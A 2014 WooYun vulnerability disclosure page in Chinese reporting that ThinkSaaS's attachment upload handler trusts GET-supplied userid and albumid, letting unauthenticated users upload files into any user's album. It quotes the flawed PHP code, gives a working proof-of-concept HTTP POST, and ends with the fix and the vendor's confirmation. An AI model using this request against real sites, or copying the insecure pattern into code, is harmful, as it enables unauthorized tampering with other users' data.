当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051121

漏洞标题:Thinksaas某处平衡权限漏洞

相关厂商:thinksaas.cn

漏洞作者: phith0n

提交时间:2014-02-20 13:03

修复时间:2014-05-21 13:04

公开时间:2014-05-21 13:04

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-20: 细节已通知厂商并且等待厂商处理中
2014-02-20: 厂商已经确认,细节仅向厂商公开
2014-02-23: 细节向第三方安全合作伙伴开放
2014-04-16: 细节向核心白帽子及相关领域专家公开
2014-04-26: 细节向普通白帽子公开
2014-05-06: 细节向实习白帽子公开
2014-05-21: 细节向公众公开

简要描述:

Thinksaas某处平衡权限漏洞,可越权操作。(不用登陆即可)

详细说明:

Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。
出问题的地方在会员上传资料处/app/attach/action/upload.php,这是上传资料处代码:

...30行
case "do":

$userid = intval($_GET['userid']);
$albumid = intval($_GET['albumid']);
if($userid=='0' || $albumid == 0){
echo '00000';
exit;
}

$attachid = $new['attach']->create('attach',array(
'userid' => $userid,
'locationid'=>aac('user')->getLocationId($userid),
'albumid'=>$albumid,
'addtime' => date('Y-m-d H:i:s'),
));

//上传
$arrUpload = tsUpload($_FILES['Filedata'],$attachid,'attach',array('pptx','docx','pdf','jpg','gif','png','rar','zip','doc','ppt','txt'));

if($arrUpload){
$new['attach']->update('attach',array(
'attachid'=>$attachid,
),array(
'attachname'=>$arrUpload['name'],
'attachtype'=>$arrUpload['type'],
'attachurl'=>$arrUpload['url'],
'attachsize'=>$arrUpload['size'],
));


//对积分进行处理
aac('user')->doScore($app,$ac,$ts,$userid);


}

echo $attachid;

break;


首先就看到前两行的
$userid = intval($_GET['userid']);
$albumid = intval($_GET['albumid']);
它直接以GET方式获得用户id以及资料集id,使得我们可以给任意用户的任意资料集上传资料。(而且不用登陆)
之后也没有地方再加以判断,直接插入数据库。

漏洞证明:

发送该数据包:
POST /think/index.php?app=attach&ac=upload&ts=do&userid=3&albumid=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12264161285866
Content-Length: 201
-----------------------------12264161285866
Content-Disposition: form-data; name="Filedata"; filename="aaaa.txt"
Content-Type: text/plain
this is a txt file~
-----------------------------12264161285866--
即可给userid为3的用户的albumid为2的资料集上传一个txt文件:

004.jpg

修复方案:

以session的形式保存userid,不要让用户输入。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-02-20 13:24

厂商回复:

谢谢您的反馈,连同上传处漏洞一起已修复。再次感谢

最新状态:

暂无